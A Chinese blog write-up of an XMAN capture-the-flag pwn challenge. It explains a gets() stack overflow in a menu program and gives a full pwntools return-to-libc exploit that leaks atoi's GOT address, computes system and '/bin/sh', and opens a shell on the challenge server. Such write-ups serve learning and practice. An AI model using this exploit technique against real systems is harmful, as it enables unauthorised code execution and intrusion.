美文网首页
XMAN个人赛

XMAN个人赛

作者: yahoo0o0 | 来源:发表于2017-08-19 14:35 被阅读0次

    栈溢出,本题可以使用return2libc的方法来解决,用binwalk查看文件属性

    文件属性

    查看一下程序使用了什么保护机制。

    保护机制

    用32位IDA Pro打开文件,F5反编译之后查看函数,程序的溢出点在gets函数之中

    溢出函数

    我们先运行程序,看下程序想要实现的功能是什么


    运行截图

    我们可以知道是菜单程序,而gets函数在edit选项之中。

    因为程序没有直接调用system函数,而puts函数也在libc之中,所以我们可以通过puts函数将system的地址打印出来,而system的地址则是根据atoi函数的地址来计算出来,因为atoi函数在调用之后在GOT表中已经是真实的地址了,所以可以泄露出libc的地址从而计算出system的地址。

    atoi函数地址

    知道这些之后,我们便可以开始构建脚本,贴上脚本:

    from pwn import *
    debug = False
    local = True
    x86 = True
    if debug:
        context.log_level = 'debug'
    else:
        context.log_level = 'info'
    if x86:
        libc = ELF('/lib32/libc.so.6')
        #libc = ELF('./libc-2.23.so')
    else:
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    if local:
        p = process('./happy')
    else:
        p = remote('202.112.51.217',23413)
    #定义四个函数
    def create(name,passwd,level,secret):
        p.recvuntil('-----------------------------------------')
        p.sendline('1')
        p.recvuntil('name:')
        p.sendline(name)
        p.recvuntil('password:')
        p.sendline(passwd)
        p.recvuntil('):')
        p.sendline(str(level))
        p.recvuntil('secret:')
        p.sendline(secret)
    
    def delete(name,passwd):
        p.recvuntil('-----------------------------------------')
        p.sendline('2')
        p.recvuntil(': ')
        p.sendline(name)
        p.recvuntil('password:')
        p.sendline(passwd)
    
    def view(name,passwd):
        p.recvuntil('-----------------------------------------')
        p.sendline('3')
        p.recvuntil(': ')
        p.sendline(name)
        p.recvuntil('password:')
        p.sendline(passwd)
    
    def edit(name,passwd,level,secret,payload):
        p.recvuntil('-----------------------------------------')
        p.sendline('4')
        p.recvuntil(': ')
        p.sendline(name)
        p.recvuntil('password:')
        p.sendline(passwd)
        p.recvuntil('level: ')
        p.sendline(str(level))
        p.recvuntil('secret:')
        p.sendline(secret)
        p.recvuntil('y/n')
        p.sendline(payload)
    #三个地址
    puts_plt = 0x080484F0
    start = 0x08048580
    atoi_got = 0x804B03C
    payload = "a"*(0x7a + 4) + p32(puts_plt) + p32(start)  + p32(atoi_got)
    #泄露地址
    create('yahoo','yahoo',1,'yahoo')
    edit('yahoo','yahoo',1,'yahoo',payload)
    p.recvuntil('recorded!\n')
    leak = u32(p.recv(4))
    print hex(libc.symbols['atoi'])
    libc_base = leak - libc.symbols['atoi']      #函数的基地址
    print hex(libc_base)
    system = libc_base + libc.symbols['system']    #system的地址
    print hex(system)
    binsh = libc_base + next(libc.search('/bin/sh'))  #/bin/sh地址
    print "leak is @:",hex(leak)
    #再次构建payload
    create('yahoo','yahoo',1,'yahoo')
    payload = 'a'*(0x7a + 4) + p32(system) + p32(start) + p32(binsh)
    edit('yahoo','yahoo',1,'yahoo',payload)
    p.recvuntil('recorded!\n')
    p.interactive()
    

    相关文章

      网友评论

          本文标题:XMAN个人赛

          本文链接:https://www.haomeiwen.com/subject/duqtdxtx.html